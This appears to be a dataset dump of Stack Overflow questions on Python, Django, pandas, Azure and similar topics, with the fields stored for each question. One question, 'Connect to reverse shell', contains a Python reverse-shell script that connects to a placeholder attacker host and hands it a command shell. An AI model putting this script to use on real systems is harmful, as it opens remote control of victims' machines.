QuestionId
int64
74.8M
79.8M
UserId
int64
56
29.4M
QuestionTitle
stringlengths
15
150
QuestionBody
stringlengths
40
40.3k
Tags
stringlengths
8
101
CreationDate
stringdate
2022-12-10 09:42:47
2025-11-01 19:08:18
AnswerCount
int64
0
44
UserExpertiseLevel
int64
301
888k
UserDisplayName
stringlengths
3
30
79,368,426
995,071
django-allauth with steam
<p>as describe in this <a href="https://github.com/pennersr/django-allauth/issues/3516" rel="nofollow noreferrer">issue on github</a>, my login method which is working by the way, seems to throw an exception everytime it is used:</p> <pre><code>Missing required parameter in response from https://steamcommunity.com/open...
<python><django><django-allauth><steam>
2025-01-19 04:38:53
1
701
negstek
79,368,424
1,413,856
How can I add a menu before the first in Python tkInter?
<p>I’m writing some code to add a menu to a tkInter application. Here is a working sample:</p> <pre class="lang-py prettyprint-override"><code>import tkinter main = tkinter.Tk() main.title('Menu Test') menubar = tkinter.Menu(main) main['menu'] = menubar m = tkinter.Menu() menubar.add_cascade(menu=m, label='First') m...
<python><tkinter><menu>
2025-01-19 04:38:01
2
16,921
Manngo
79,368,402
19,459,262
How to switch to a certain navigation panel when a button is clicked?
<p>I have an app written in Shiny for Python with several nav panels. On the front page, which the user gets sent to first, I have one button for each other nav panel. Is there any way for me to add functionality so that clicking a button sends you to the appropriate nav panel?</p> <p>I've found ways to do this in R Sh...
<python><navigation><shiny-reactivity><py-shiny>
2025-01-19 04:18:27
1
784
Redz
79,368,190
10,415,492
Removing rows from numpy 3D array based on last element
<p>What I'm trying to do is essentially removing all rows <code>h,s</code> in a 3D numpy array <code>a</code> if <code>a[h,s,v] = some value</code> for all <code>v</code></p> <p>More specifically, I have a loaded image from <code>cv2</code> which contains some transparent pixels. I'd like to create an HSV histogram wit...
<python><numpy><opencv><numpy-ndarray>
2025-01-19 00:37:14
1
435
Omaro_IB
79,368,152
9,780,838
Azure App Functions, Storage queue trigger
<p>I am new to using Azure App functions and i am exploring of using queue storage with my function. my runtime is python. i am deploying my function via Vscode. i am facing a challenge when i add my configuration such as my evns and endpoints at the global level and deploy my function, my function is no longer availa...
<python><azure><function><speech-to-text>
2025-01-18 23:54:19
1
321
M B
79,368,128
11,222,417
how to generate value for python defaultdict based on the key
<p>In python, is it possible to generate a value for a defaultdict which is a function of the key? For example:</p> <pre><code>from collections import defaultdict d = defaultdict(lambda key=None: key * 2) </code></pre> <p>so that <code>d[1]</code> will produces the value 2.</p>
<python><defaultdict>
2025-01-18 23:25:40
1
305
J. Doe
79,368,119
412,252
Scheduling periodic RQ tasks, using asyncio
<h4>I think that the architecture of RQ Scheduler is fundamentally flawed and it's much more complicated than it needs to be.</h4> <p><strong>Schedules are stored in Redis</strong><br /> Even if you remove or modify your scheduling code, the old schedules remain in Redis until explicitly canceled.</p> <p><strong>Non-de...
<python><cron><python-asyncio><scheduler><rq>
2025-01-18 23:16:49
1
4,674
demux
79,367,766
19,082,083
How can I ensure that Azure Text-to-Speech properly pronounces word-for-word translations?
<p>I'm working on an app using Azure, Gemini, Python, and Dart, and I want to make sure the pronunciation between languages is spot on. For example, I want to translate between German and Spanish: the goal is for 'hallo' -&gt; 'hola' to be pronounced correctly in both languages. The same goes for English and Spanish 'h...
<python><azure><azure-functions><google-gemini><language-translation>
2025-01-18 18:37:02
1
972
pomoworko.com
79,367,707
1,788,656
TypeError: Index.reindex() got an unexpected keyword argument ‘fill_value'
<p>I am trying to get the indices of the missing date by comparing it to a list of un-missed dates, as the following:</p> <pre><code>a = pd.DatetimeIndex([&quot;2000&quot;, &quot;2001&quot;, &quot;2002&quot;, &quot;2003&quot;, &quot;2004&quot;, &quot;2005&quot;, &quot;2009&quot;, &quot;2010&quot;]...
<python><pandas><datetime>
2025-01-18 18:01:19
2
725
Kernel
79,367,539
561,243
mypy does not install types-seaborn automatically
<p>I am working on a library package that depends on some other libraries and I statically type checking my code.</p> <p>When running mypy (version 1.14.0) the first time on a freshly created enviroment, mypy finds the external libraries (for example peewee) and installs automatically the types-stubs from typeshed. But...
<python><seaborn><mypy><typeshed>
2025-01-18 16:40:07
1
367
toto
79,367,477
10,778,270
ffmpeg process 20564 successfully terminated with return code of 3436169992
<p>Trying to play a youtube video as audio through a discord bot. I ran into a 403 forbidden error and added the YDL_OPTIONS to bypass this. Now the code throws the error code 3436169992.The bot writes to the server &quot;now playing: xxxx&quot; but no audio is played. Any pointers?</p> <pre><code>FFMPEG_OPTIONS = { ...
<python><ffmpeg><discord>
2025-01-18 16:08:21
0
317
Deeroy
79,367,389
14,358,734
Why am I getting "raise source.error("multiple repeat", re.error: multiple repeat at position 2" when trying to save data frames to csv files?
<p>The code is attached below. It works fine until it gets to <code>ai: df_ai</code> in the <code>database</code> dict.</p> <pre><code>data = pd.read_csv('survey_results_public.csv') df_demographics = data[['ResponseId', 'MainBranch', 'Age', 'Employment', 'EdLevel', 'YearsCode', 'Country']] df_learn_code = data[['Res...
<python><pandas><dataframe>
2025-01-18 15:08:59
1
781
m. lekk
79,366,943
14,358,734
Best way to turn every cell in a dataframe into its own row in a new dataframe?
<p>Suppose I have a dataframe <code>Old</code> with columns <code>A</code>, <code>B</code>, and <code>C</code>. I want a new dataframe <code>New</code> where two columns <code>D</code> and <code>E</code>. For each cell in <code>Old</code>, I want a corresponding row in the <code>D</code> column in <code>New</code> wher...
<python><pandas><dataframe>
2025-01-18 10:13:46
1
781
m. lekk
79,366,590
16,383,578
How to correctly implement Fermat's factorization in Python?
<p>I am trying to implement efficient prime factorization algorithms in Python. This is not homework or work related, it is completely out of curiosity.</p> <p>I have learned that prime factorization is <a href="https://en.wikipedia.org/wiki/Integer_factorization#Time_complexity" rel="nofollow noreferrer">very hard</a>...
<python><algorithm><prime-factoring>
2025-01-18 05:11:57
1
3,930
Ξένη Γήινος
79,366,465
1,997,852
How to connect to old SSH server with paramiko?
<p>I have an older SSH server which does not support modern cryptography. Logging in with OpenSSH requires these options:</p> <pre><code>KexAlgorithms=+diffie-hellman-group1-sha1 HostKeyAlgorithms=+ssh-dss Ciphers=+aes256-cbc </code></pre> <p>I'm trying to connect with python Paramiko using this code:</p> <pre class="l...
<python><ssh><paramiko>
2025-01-18 02:08:57
0
1,217
Elliott B
79,366,457
2,072,516
Getting VSCode to extend path to a different directory
<p>My project structure is:</p> <pre><code>. └── src ├── app └── scripts </code></pre> <p>Previously, <code>app</code> and <code>scripts</code> were at the top level, and <code>app</code> was called <code>src</code>. In scripts, I often refer to the app code, and so have</p> <pre><code>sys.path.append(str((code...
<python><visual-studio-code>
2025-01-18 01:59:32
1
3,210
Rohit
79,366,429
1,574,054
Matplotlib legend not respecting content size with lualatex
<p>I need to generate my matplotlib plots using <code>lualatex</code> instead of <code>pdflatex</code>. Among other things, I am using <code>fontspec</code> to change the document fonts. Below I am using this as an example and set <code>lmroman10-regular.otf</code> as the font. This creates a few issues. One is that th...
<python><matplotlib><latex><tex><pgf>
2025-01-18 01:22:40
1
4,589
HerpDerpington
79,366,388
11,062,613
How to efficiently upsert (update+insert) large datasets with Polars
<p>I am working with large datasets stored in Parquet files and need to perform an upsert (update + insert) operation using Polars. If the files grow to a couple of GBs, I run into memory issues and the update operation fails. My system has 16 GB of RAM.</p> <p>Here’s a simplified example where I generate a large datas...
<python><parquet><python-polars>
2025-01-18 00:25:53
1
423
Olibarer
79,366,360
1,144,854
Type hinting Python inheritance “Base classes of [child] are mutually incompatible”
<p>I'm trying to learn how to use base classes and inheritance. I'm getting type-checking errors, but the code is running as expected. Do I have type checker problems, type hinting problems, or meaningful code problems?</p> <p>Here I try a <a href="https://docs.python.org/3/reference/compound_stmts.html#generic-classes...
<python><generics><python-typing><pyright>
2025-01-17 23:57:00
3
763
Jacktose
79,367,703
1,701,812
Connect to reverse shell
<p>I have reverse shell code in python:</p> <pre class="lang-py prettyprint-override"><code>#!/usr/bin/env python3 import socket, subprocess, os s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((&quot;attacker_ip&quot;, attacker_port)) if os.name == 'nt': subprocess.call([&quot;cmd.exe&quot;], stdin...
<python><shell><reverse-shell>
2025-01-17 22:24:56
1
752
pbies
79,366,232
19,048,408
With `aioftp` in Python, how can I recursively list all files in an FTP folder?
<p>With <code>aioftp</code> in Python, I want to recursively list all files in an FTP folder.</p> <p>What's the best way to do that? How can a recursive function be constructed to do that?</p> <p>Here is my first attempt, which does not work:</p> <pre class="lang-py prettyprint-override"><code>import aioftp import asyn...
<python><python-3.x><ftp-client><aio>
2025-01-17 22:20:19
0
468
HumpbackWhale194
79,366,199
2,276,583
VS Code no longer can find Python path used by pyenv
<p>I have been using VS Code for Python development on Windows 10 for years. For some time, I have been using <code>pyenv-win</code> to manage installed Python versions in Windows. Once I've configured the version of Python I want to use, I create a virtual environment by entering the following in a PowerShell terminal...
<python><visual-studio-code><pyenv><pyenv-win>
2025-01-17 22:01:16
0
998
Daniel Black
79,366,085
1,245,659
How to specify a schema in a DoCmd.TransferDatabase command
<p>I am writing a python script to copy MSaccess tables to Postgres. In this particular case, I'm trying to specify the schema that is being loaded in the Postgres. Most code I found here on SO just loads in generic public. I need to load specific schemas.</p> <pre><code>a = win32com.client.Dispatch(&quot;Access.Ap...
<python><postgresql><ms-access>
2025-01-17 20:59:07
1
305
arcee123
79,366,038
5,923,374
HuggingFace: How to compute NDCG in compute metrics?
<p>Huggingface trainer has parameter <code>compute_metrics</code>. This function however receives only <code>predictions</code> and <code>labels</code> as its input:</p> <pre><code>def compute_metric(pred_label): pred, label = pred_label return my_metric(pred, label) </code></pre> <p>This is sufficient for computi...
<python><huggingface-transformers>
2025-01-17 20:33:39
0
1,538
Ford O.
79,366,003
11,295,602
Controlling build directories for python wheel building
<p>Is there a canonical way to ensure no build files (temporary or otherwise) are written to the project area when I build?</p> <p>When I do a <code>python -m build --wheel</code> for example, I see a <code>build</code> and <code>dist</code> directory with various build artifacts.</p> <p>I tackled this issue a while ba...
<python><build><setuptools>
2025-01-17 20:09:25
0
303
squashed
79,365,967
2,864,250
Altair text on rule mark looks blurry
<p>For this <a href="https://altair-viz.github.io/gallery/bar_chart_with_single_threshold.html" rel="nofollow noreferrer">example</a> on the documenation page:</p> <pre class="lang-py prettyprint-override"><code>import pandas as pd import altair as alt source = pd.DataFrame({ &quot;Day&quot;: [1, 2, 3, 4, 5, 6, 7,...
<python><altair>
2025-01-17 19:47:35
1
2,750
dubbbdan
79,365,903
3,368,667
access firestore database other than (default) in python
<p>I cannot access a Google Firestore database other than one named &quot;(default)&quot;. I looked other other solutions online, and added a key to my credential &quot;databaseId&quot; but that doesn't work. Here is my current script</p> <pre><code>def firestore_add_doc(data): print('DEBUG Firestore document creat...
<python><firebase><google-cloud-firestore><firebase-admin>
2025-01-17 19:21:32
1
1,077
tom
79,365,750
7,347,925
How to optimize the weight for TV filter?
<p>I have 2d data which has background noise and assembled high values. I'm trying to apply the TV filter to denoise the data. Is there a suitable method to avoid over-denoising the data?</p> <p>I have tried to check the MSE value like this:</p> <pre><code>import numpy as np from skimage.restoration import denoise_tv_c...
<python><numpy><image-processing><scikit-image><smoothing>
2025-01-17 18:15:43
1
1,039
zxdawn
79,365,706
16,383,578
Why factorization of products of close primes is much slower than products of dissimilar primes
<p>This is a purely academic question without any practical consideration. This is not homework, I dropped out of high school long ago. I am just curious, and I can't sleep well without knowing why.</p> <p>I was messing around with Python. I decided to factorize big integers and measure the runtime of calls for each in...
<python><algorithm>
2025-01-17 17:58:27
2
3,930
Ξένη Γήινος
79,365,583
7,334,203
Python library that takes as input a complex XSD and outputs the an XML
<p>I know my question is not crystal clear but i'd like to find a robust and reliable python library that is taking as input a complex Xml Schema Definition file and produces the an XML file. For example i have this XSD:</p> <pre><code> &lt;xsd:schema xmlns:stf=&quot;urn&quot; xmlns:xsd=&quot;http://www.w3.org/2001/...
<python><xml><xsd>
2025-01-17 17:16:20
0
7,486
RamAlx
79,365,487
9,983,652
replace string in a text file with different replacement scenarios
<p>I have a text file and I need to replace the value after <code>*</code> under different scenarios. For example, in below data like <code>12*5 7*7 39*8</code>, I need to replace them to become <code>12*1000 7*2000 39*3000</code>. It means if the value after <code>*</code> is 5, it is replaced by 1000, if the value i...
<python>
2025-01-17 16:42:13
1
4,338
roudan
79,365,404
16,389,095
How to display two different views into main page
<p>I developed a simple app with two different views, each one defined into two different classes. When I try to add the first one to the page, I get an error into the app window: <strong>&quot;Unknown control view&quot;</strong>. Here is the code:</p> <pre><code>import flet as ft import time class WelcomeView(ft.View...
<python><flutter><flet>
2025-01-17 16:12:51
1
421
eljamba
79,365,281
3,336,423
How to correctly initialize ctypes char***?
<p>I'm using <code>ctype</code> to call C code from Python.</p> <p>The C function I need to call takes a <code>char***</code>, and so it's bind as using a <code>ctypes.POINTER(ctypes.POINTER(ctypes.c_char))</code>.</p> <p>I don't understand how I should safely create and initialize such objects, because if I create one...
<python><ctypes><python-bindings>
2025-01-17 15:33:22
1
21,904
jpo38
79,365,086
1,192,393
Can I have different virtual environments in a project managed by uv?
<p>On a Windows machine, I'm developing a Python project that I manage using <code>uv</code>. I run the unit tests with <code>uv run pytest</code>, and <code>uv</code> automatically creates a virtual environment in <code>.venv</code>. So far, so good.</p> <p>But every now and then, I want to run the unit tests - or oth...
<python><python-venv><uv>
2025-01-17 14:37:02
2
411
Martin
79,365,048
7,007,547
How to get the Exception (Message and StackStrace) of a Python Azure Function
<p>With the following AzureFunction (<code>config.nonsense</code> is not defined):</p> <pre><code>import azure.functions as func import logging import zsbiconfig # import triggerfunc app = func.FunctionApp() @app.timer_trigger(schedule=&quot;0 */1 * * * *&quot;, arg_name=&quot;myTimer&quot;, run_on_startup=True, ...
<python><azure-functions><azure-application-insights>
2025-01-17 14:24:07
1
1,140
mbieren
79,365,034
13,175,203
How to recycle a list to build a new column in Polars?
<p>How can I create the <code>type</code> column recycling a two-elements list <code>[&quot;lat&quot;,&quot;lon&quot;]</code>?</p> <div class="s-table-container"><table class="s-table"> <thead> <tr> <th>adresse</th> <th>coord</th> <th>type</th> </tr> </thead> <tbody> <tr> <td>&quot;place 1&quot;</td> <td>48.943837</td>...
<python><dataframe><python-polars>
2025-01-17 14:20:56
3
491
Samuel Allain
79,364,990
10,691,106
Specifying a relationship between *args of *Ts and *args of type[T] over Ts?
<p>Consider the following example:</p> <pre class="lang-py prettyprint-override"><code>class Example: def __init__(self, *arg_types) -&gt; None: ... def do_work(self, *arg_values) -&gt; Any: ... </code></pre> <p>In this demo, <code>arg_types</code> is some list of object types. For example, I might instant...
<python><python-typing>
2025-01-17 14:06:31
0
339
TimeTravelPenguin
79,364,926
2,302,262
aggregate or split pytest fixtures
<p>Two related <code>pytest</code> questions:</p> <h1>Split fixture into individual values</h1> <p>I have a fixture which is an iterable and which is tested in a certain test. This works. However, I also have a test which wants to test the individual values - I don't know how to do this.</p> <p>For example, how can I w...
<python><pytest>
2025-01-17 13:41:02
1
2,294
ElRudi
79,364,853
15,001,463
Inheriting from too many abstract classes?
<p>I am trying to apply the <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself" rel="nofollow noreferrer">DRY</a> principle to toy plotting classes as an intellectual exercise for improving my understanding of OOP (currently reading <a href="https://rads.stackoverflow.com/amzn/click/com/1801077266" rel="nof...
<python><oop>
2025-01-17 13:10:17
1
714
Jared
79,364,747
7,766,158
pre-commit fails with ModuleNotFoundError: No module named 'yaml'
<p>I am using pre-commit. In one of the hooks, I use a python script that imports the <code>yaml</code> library.</p> <p>However, when I try to commit something, I get the following error on this hook :</p> <pre><code>ModuleNotFoundError: No module named 'yaml' </code></pre> <p>I don't understand what is the issue here ...
<python><pre-commit-hook><pre-commit><pre-commit.com>
2025-01-17 12:25:12
1
1,931
Nakeuh
79,364,688
5,775,358
pytest mock two instances of pathlib
<p>I have the following function which I want to test. I do not want to use <code>tmp_path</code> so I try to mock everything, using pytest-mock.</p> <pre class="lang-py prettyprint-override"><code>import pytest import pathlib class SecondFileError(Exception): def __init__(self, message): super().__init__...
<python><mocking><pytest><pathlib><pytest-mock>
2025-01-17 12:00:01
0
2,406
3dSpatialUser
79,364,551
7,959,614
How to subtract pd.DataFrameGroupBy-objects from each other
<p>I have the following <code>pd.DataFrame</code></p> <pre><code>match_id player_id round points A B C D E 5890 3750 1 10 0 0 0 3 1 5890 3750 2 10 0 0 0 1 0 5890 3750 3 10 0 8 0 0 1 5890 2366 1 9 0 0 0 5 0 5890 2366 2 9 0 0...
<python><pandas>
2025-01-17 11:05:08
1
406
HJA24
79,364,440
7,677,894
How to achieve unequal stride of dw-conv with equal stride dw-conv?
<p>Seems like unequal height and width of stride in <code>tf.nn.depthwise_conv</code> is not supported. Can I do that in form of equal stride with any other layer operations?</p>
<python><tensorflow><deep-learning>
2025-01-17 10:28:10
0
983
Ink
79,364,338
2,859,206
How to label or rename bin ranges in a series output from value count
<p>In a series or df column, I want to count the number of values that fit within predefined bins (easy) and meaningfully label the bin values (problem).</p> <pre class="lang-py prettyprint-override"><code>import pandas as pd data = [{'A': 1, 'B': &quot;Jim&quot;}, {'A': 5, 'B': &quot;Jim&quot;}, {'A': 2, 'B': &quot;B...
<python><pandas>
2025-01-17 09:55:56
2
2,490
DrWhat
79,364,336
2,966,723
How to get a python function to work on an np.array or a float, with conditional logic
<p>I have a function that I'd like to take numpy arrays or floats as input. I want to keep doing an operation until some measure of error is less than a threshold.</p> <p>A simple example would be the following to divide a number or array by 2 until it's below a threshold (if a float), or until it's maximum is below a...
<python><numpy><overloading>
2025-01-17 09:55:17
2
24,012
Joel
79,364,331
7,677,894
Unequal width and height of stride in tf.nn.depthwise_conv2d not supported?
<p>Is that right?</p> <p>IF YES, how can I convert the pretrained weights trained with unequal strides to tensorflow <code>dw-conv</code> with some other <code>ops</code>?</p> <p>THX</p>
<python><tensorflow><deep-learning><tensorflow2.0>
2025-01-17 09:52:57
0
983
Ink
79,364,302
4,979,809
How to know in advance what format/columns POST API is expecting?
<p>I am trying to send some data to an API.</p> <p>All information I have is:</p> <p><strong>ImportUsersFile</strong></p> <p><strong>Verbs</strong> POST</p> <p><strong>Requires authentication</strong> False</p> <p><strong>Parameters</strong></p> <ul> <li>jobName: string</li> <li>token: CancellationToken</li> </ul> <p>T...
<python><post><databricks>
2025-01-17 09:43:24
0
706
Chicago1988
79,364,092
11,505,151
Odoo not working - no CSS on login page and blank screen post-login
<p>I cloned a project from GitLab that uses Docker to set up multiple services, including Odoo 16, PostgreSQL, a FastAPI backend, and a Next.js frontend.</p> <p>The project works perfectly on my colleague's machine, but on my setup (macOS), and on another colleague's machine, we are facing the same issue:</p> <p>The co...
<python><docker><docker-compose><odoo><odoo-16>
2025-01-17 08:26:38
0
1,221
AchrafBj
79,363,972
20,770,190
How to load and use an extension within Browser-use?
<p>I'm using <a href="https://github.com/browser-use/browser-use" rel="nofollow noreferrer">browser-use</a> for web automation. This package uses playwright under the hood. I realized it is not possible to load an extension in incognito mode, so I must use <code>playwright.chromium.launch_persistent_context</code> inst...
<python><google-chrome-extension><playwright><playwright-python><browser-use>
2025-01-17 07:43:54
1
301
Benjamin Geoffrey
79,363,898
9,648,895
How to extract text content under an XML tag using beautifulsoup
<p>I have an XML file that looks like this:</p> <pre><code>&lt;sec id=&quot;sec2.1&quot;&gt; &lt;title&gt;Study design&lt;/title&gt; &lt;p id=&quot;p0055&quot;&gt; This is a secondary analysis of the Childhood Acute Illness and Nutrition (CHAIN) Network prospective cohort which, between November 2016 and January 2019, ...
<python><xml><beautifulsoup><xml-parsing>
2025-01-17 07:08:02
1
306
Alex Maina
79,363,771
12,466,687
How to convert 2D networkx graph to interactive 3D in python?
<p>I have already built a network 2D graph using <code>networkx</code> in <code>python</code>.</p> <p><strong>Code</strong> used to build:</p> <pre><code>import pandas as pd import matplotlib as mpl links_data = pd.read_csv(&quot;https://raw.githubusercontent.com/johnsnow09/network_graph/refs/heads/main/links_filtered...
<python><3d><networkx>
2025-01-17 06:00:47
1
2,357
ViSa
79,363,724
5,093,602
Display the hive table results in UI using flask
<p>I am new to Flask. I have a Hive table called <code>database_table</code> with following fields:</p> <div class="s-table-container"><table class="s-table"> <thead> <tr> <th>id</th> <th>field_id</th> <th>table_name</th> <th>schema_name</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>1</td> <td>employee_table</td> <t...
<python><sql><flask><flask-sqlalchemy>
2025-01-17 05:33:39
0
5,901
Chanukya
79,363,512
10,732,351
Why do my row-major vs. column-major and iteration vs. index-based array access tests produce unexpected results?
<p>I'm reading the book <em>Designing Machine Learning Systems by Chip Huyen</em> (<a href="https://rads.stackoverflow.com/amzn/click/com/1098107969" rel="nofollow noreferrer" rel="nofollow noreferrer">Amazon Link</a>). In Chapter 3, section <em>Row-Major Versus Column-Major Format</em>, the book explains that for row-...
<python><arrays><numpy>
2025-01-17 02:56:44
2
1,306
CuCaRot
79,363,433
2,635,863
convert multi-index column to single column in dataframe
<pre><code>import pandas as pd columns = pd.MultiIndex.from_tuples( [('A', 'one'), ('A', 'two'), ('B', 'one'), ('B', 'two'), ('C', '')], names=[None, 'number']) df = pd.DataFrame([[1, 2, 3, 4, 'X'], [5, 6, 7, 8, 'Y']], columns=columns) A B C number one two one two 0 1 2 3 ...
<python><pandas>
2025-01-17 01:38:51
1
10,765
HappyPy
79,363,424
5,128,398
Why a long line printed by python in gitbash or cygwin become broken (multiple) lines when being copy and pasted?
<p>I have a python program that prints some examples so that users can copy and paste to run. The examples are all long lines.</p> <p>I noticed that when python printed a long line in gitbash, and then I copy and paste it to gitbash, the long line becomes multiple short lines.</p> <p>The following is a test python scri...
<python><cygwin><git-bash>
2025-01-17 01:24:19
0
1,063
oldpride
79,363,421
4,080,181
How to simplify a linear system of equations by eliminating intermediate variables
<p>I have a linear system shown in the block diagram below.</p> <p><a href="https://i.sstatic.net/TMyhhczJ.png" rel="nofollow noreferrer"><img src="https://i.sstatic.net/TMyhhczJ.png" alt="enter image description here" /></a></p> <p>This system is described with the following set of linear equations:</p> <pre><code>err...
<python><math><sympy>
2025-01-17 01:19:41
2
548
August West
79,363,420
825,227
Running into an error using Pandas `read_html`: "ValueError: invalid literal for int() with base 10: '40%'"
<p>Have successfully used <code>pd.read_html</code> for a majority of webpages I'm scanning but the below throws the error referenced:</p> <p>'https://sec.gov/Archives/edgar/data/320193/000032019323000048/xslF345X04/wf-form4_168064750462974.xml'</p> <p>When I inspect the webpage source, I can see the offending <code>ro...
<python><html><pandas>
2025-01-17 01:17:06
0
1,702
Chris
79,363,386
8,812,734
Is there a way of differentiating collapsed column in excel sheet via python
<p>I am reading excel sheet via python and trying to read only visible rows in python (not hidden or collapsed). I went through documentation of <a href="https://openpyxl.readthedocs.io/en/stable/api/openpyxl.worksheet.dimensions.html" rel="nofollow noreferrer">OPENPYXL</a> and found that it has &quot;hidden&quot; and ...
<python><openpyxl><xlsx><xls><xlsm>
2025-01-17 00:41:40
1
317
Aaroosh Pandoh
79,363,266
2,846,766
How can I write zeros to a 2D numpy array by both row and column indices
<p>I have a large (90k x 90k) numpy ndarray and I need to zero out a block of it. I have a list of about 30k indices that indicate which rows <em>and</em> columns need to be zero. The indices aren't necessarily contiguous, so <code>a[min:max, min:max]</code> style slicing isn't possible.</p> <p>As a toy example, I can ...
<python><arrays><numpy><indices><numpy-slicing>
2025-01-16 23:03:35
1
8,122
mightypile
79,363,232
850,781
Cookies needed to connect to the proxy?
<p>I get</p> <pre><code>ProxyError: HTTPSConnectionPool(host='XXX', port=443): Max retries exceeded with url: ZZZZZ (Caused by ProxyError('Unable to connect to proxy', OSError('Tunnel connection failed: 403 Forbidden'))) </code></pre> <p>on</p> <pre><code>import requests requests.get(base_url, proxies=proxies, headers=...
<python><cookies><python-requests><http-proxy>
2025-01-16 22:40:00
0
60,468
sds
79,363,016
1,394,353
Pydantic multiple inheritance field order - implementation detail or stable feature?
<p>I have multiple models which will be very similar. The identifier fields are different. Otherwise, other groups of fields occur in predefined patterns. For example, wrt to the sample below, the <code>present0</code> and <code>present1</code> fields will appear in some models, but not others.</p> <p>Ultimately the...
<python><pydantic>
2025-01-16 20:39:19
0
12,224
JL Peyret
79,362,888
9,245,853
Unexpected output from least (source data includes nulls)
<p>Inspired by this <a href="https://stackoverflow.com/a/37675525">answer</a>, I want to find the row-wise minimum between several date columns, and return the column name.</p> <p>I'm getting unexpected results when a row contains NULLs, which I thought <a href="https://spark.apache.org/docs/latest/api/python/reference...
<python><apache-spark><pyspark>
2025-01-16 19:47:02
1
50,375
BigBen
79,362,783
4,470,052
Snowflake modin.pandas data frame can’t write to snowflake without all columns matching
<p>Snowflake’s modin.pandas.dataframe df has 7 columns Snowflake Table “Db.S.table” has 10 columns - 1 auto increment and most that are nullable</p> <p>I’m not able to do <code>session.write_pandas(df,database=“Db”,schema=“schema”,table_name=“table”,overwrite=False)</code></p> <p>Since it’s giving a column mismatch err...
<python><pandas><snowflake-cloud-data-platform><snowflake-schema>
2025-01-16 18:59:41
1
692
Flyn Sequeira
79,362,776
1,457,380
Efficiently count lists with certain properties
<p>My purpose is to count permutations with certain properties. I first generate the permutations and then remove those that do not satisfy the desired properties. How could I improve the code to be able to enumerate more permutations?</p> <pre><code>from itertools import permutations def check(seq, verbose=False): ...
<python><performance><permutation>
2025-01-16 18:56:38
1
10,646
PatrickT
79,362,761
1,937,197
Combined memory usage of a process and all its descendants
<p>In Python and on Linux, is there any way to determine the <em>joint</em> memory usage of a process and all its descendants (other processes it may have spawned)?</p> <p>I'm aware of <code>memory_info().rss</code> in <code>psutil</code>. But I don't think simply adding the <em>rss</em>'es is correct here, since the p...
<python><linux><psutil>
2025-01-16 18:47:31
0
12,727
MWB
79,362,710
3,294,994
How to tell hypothesis.strategies to choose not-None for optional fields
<p>I am a consumer of a class that I don't own:</p> <pre class="lang-py prettyprint-override"><code>from dataclasses import dataclass @dataclass class Child: f1: int f2: int | None @dataclass class Parent: child: Child </code></pre> <p>The actual class is much <em>much</em> deeper and wider.</p> <p>To run m...
<python><python-hypothesis>
2025-01-16 18:26:13
2
846
obk
79,362,656
11,628,437
How to compute weakest preconditions for class methods with object state in Python?
<p>I am working on a tool to compute weakest preconditions for certain Python programs, and I’m struggling with handling class objects and their variables. Here's a minimal example of the problem:</p> <p>For a standalone function like this:</p> <pre><code>def square_number(n): return n * n </code></pre> <p>Computin...
<python><semantics><formal-verification><preconditions><formal-methods>
2025-01-16 18:05:21
0
1,851
desert_ranger
79,362,616
2,058,333
FCM notifications not showing on iOS lock screen
<p>I googled a bunch but can not find a comprehensive answer. I am getting my token like this</p> <pre><code>final notificationSettings = await FirebaseMessaging.instance.requestPermission( alert: true, announcement: true, badge: false, provisional: false, sound: true ); final token =...
<python><ios><flutter><firebase><firebase-cloud-messaging>
2025-01-16 17:51:12
2
5,698
El Dude
79,362,564
243,031
How to extract text associated with image from pdf?
<p>I am using <a href="https://pymupdf.readthedocs.io/en/latest/index.html" rel="nofollow noreferrer"><code>pymupdf</code></a> to extract images from PDF. Code sample is as below.</p> <pre><code>import pymupdf doc = pymupdf.open('sample.pdf') page = doc[0] # get the page image_list = page.get_images() page_index = ...
<python><pdf><extract><image-text>
2025-01-16 17:33:31
1
21,411
NPatel
79,362,445
1,704,282
recursive get a list of the stream down dependencies in python
<p>i am trying to get a flatted list of dependencies.</p> <pre><code>list_of_task_to_generate = [ {&quot;version&quot;: &quot;1&quot;, &quot;dependency&quot;: []}, {&quot;version&quot;: &quot;2&quot;, &quot;dependency&quot;: [&quot;1&quot;]}, {&quot;version&quot;: &quot;3&quot;, &quot;dependency&quot;: [&qu...
<python><recursion><recursive-datastructures>
2025-01-16 16:49:02
2
1,862
pelos
79,362,414
2,886,575
Skipping rows in lazy generator chaining?
<p>I have a lazy chain of generators. I would like to chain a generator onto the output of these, but only onto a &quot;range&quot; subset of the output. Specifically, I would like to skip some rows:</p> <pre><code>def foo(): yield &quot;pickles&quot; yield from iter(range(4)) def bar(foo_numbers): yield...
<python><generator>
2025-01-16 16:37:32
1
5,605
Him
79,362,404
3,302,016
Pandas Change values of a dataframe based on an override
<p>I have a pandas dataframe which looks something like this.</p> <pre><code>orig | dest | type | class | BKT | BKT_order | value | fc_Cap | sc_Cap -----+-------+-------+-------+--------+-----------+---------+--------+--------- AMD | TRY | SA | fc | MA | 1 | 12.04 | 20 | 50 AMD | T...
<python><pandas>
2025-01-16 16:33:22
2
4,859
Mohan
79,362,392
3,719,167
How to handle prefixed UUIDs in Django Admin for querying and displaying objects?
<p>I am working on a Django project with a custom UUIDField with a prefix (e.g., <code>ft_</code>) to represent IDs. The raw UUID is stored in the database, but I want the prefixed value (e.g., ft_) to be shown in API responses, admin interfaces, and elsewhere. However, this creates issues when querying objects in Djan...
<python><django>
2025-01-16 16:29:28
0
9,922
Anuj TBE
79,362,317
2,082,769
Text representation of a list with gaps
<p>I have a list of integers that is sorted and contains no duplicates:</p> <pre><code>mylist = [2, 5,6,7, 11,12, 19,20,21,22, 37,38, 40] </code></pre> <p>I want a summarized text representation that shows groups of adjacent integers in a compressed form as a hyphenated pair. To be specific: <em>Adjacent</em> implies ...
<python>
2025-01-16 16:10:43
5
17,049
BoarGules
79,362,308
7,347,925
How to use skimage to denoise 2d array with nan values?
<p>I'm trying to apply the TV filter to 2D array which includes many nan values:</p> <pre><code>from skimage.restoration import denoise_tv_chambolle import numpy as np data_random = np.random.random ([100,100])*100 plt.imshow(data_random) plt.imshow(denoise_tv_chambolle(data_random)) data_random[20:30, 50:60] = np.na...
<python><numpy><image-processing><scikit-image><smoothing>
2025-01-16 16:09:05
1
1,039
zxdawn
79,362,157
5,316,326
Identify changed directories in Object Storage since a specific datetime with Python
